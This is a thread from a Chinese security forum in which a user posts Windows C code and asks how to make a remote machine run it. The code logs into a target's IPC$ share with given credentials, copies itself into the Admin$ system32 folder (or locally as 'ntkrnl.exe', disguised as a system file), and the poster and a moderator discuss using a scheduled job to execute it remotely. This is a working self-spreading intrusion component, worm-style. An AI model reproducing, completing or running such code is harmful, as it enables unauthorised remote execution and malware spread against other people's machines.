论坛: 原创软件 标题: 向IPC扫描器作者讨教一个问题 复制本贴地址    
作者: wjl_20cn [wjl_20cn]    论坛用户   登录
#include <windows.h>
#include <stdio.h>
#include <Winnetwk.h>

#pragma comment(lib,"Mpr.lib")

#define BUFFER_SIZE 1024 

void CopytoHost(char *lpHost)
{
char       lpCurrentPath[MAX_PATH];
char       lpImagePath[MAX_PATH];
char       *lpHostName;
  WIN32_FIND_DATA FileData;
HANDLE      hSearch;
DWORD      dwErrorCode;

if(lpHost==NULL)//未指定机名或IP地址
{
GetSystemDirectory(lpImagePath,MAX_PATH);//获取系统路径
strcat(lpImagePath,"\\ntkrnl.exe");
    lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\aaa.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}

printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) 
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");     
}
else
{
printf("Failure !\n");
}
   return ;
}
  else
{
  printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}


}

//以某一用户名和密码连接对方的IPC:bConnect==TURE时连接;FALSE时断开连接lpHost为对方IP或机名
BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) 
{
char     lpIPC[256];
DWORD     dwErrorCode;
NETRESOURCE  NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType    = RESOURCETYPE_ANY;
NetResource.lpProvider  = NULL;

if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}

if(bConnect)
{
   printf("Now Connecting ...... ");
while(1)
{
   dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
    if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
    WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
   else if(dwErrorCode==NO_ERROR)
{
    printf("Success !\n");
     break;
}
   else
{
printf("Failure !\n");  
    return FALSE;
}
   Sleep(10);
}
}
else
{
    printf("Now Disconnecting ... ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}

  return TRUE;
}


int main(int argc,char *argv[])
{

if(argc==2&&stricmp(argv[1],"y")==0) 
{  
printf("run!\n");
        return 0;
}


if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{  
printf("can not connect %s!\n",argv[2]);
            return -1;
}
        CopytoHost(argv[2]);

//在这里我要让对方启动我刚传过去的本程序并给其命令行参数y,如何调用NetScheduleJobAdd???????

return 0;

}


return 0;
}


地主 发表时间: 08/22 01:13

回复: wjl_20cn [wjl_20cn]   论坛用户   登录
和尚哥,可否赐教???

B1层 发表时间: 08/22 12:47

回复: ricky [ricky]   版主   登录
你想问什么问题,我没有看到问题啊

B2层 发表时间: 08/25 08:44

回复: wjl_20cn [wjl_20cn]   论坛用户   登录
你看看源码:
在倒数第几行有几个连续问号,在此之前我已经连接了对方,并传了我的程序至对方的ADMIN$下,现在我想让他执行,怎么做?????

B3层 发表时间: 08/27 00:11

回复: ricky [ricky]   版主   登录
先取得对方时间,让后让你的任务在1分钟后运行,就用你的函数

B4层 发表时间: 08/27 08:28

回复: wjl_20cn [wjl_20cn]   论坛用户   登录
我也知道这样,但编程如何实现,如何取得对方时间,如何启动对方的计莉任务,如何.......

B5层 发表时间: 08/31 23:17

回复: ricky [ricky]   版主   登录
我的硬盘前两天物理损坏,所有的以前的东东都没了,只好麻烦去看看以前的贴子,上面有讲

B6层 发表时间: 09/01 08:58

论坛: 原创软件

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号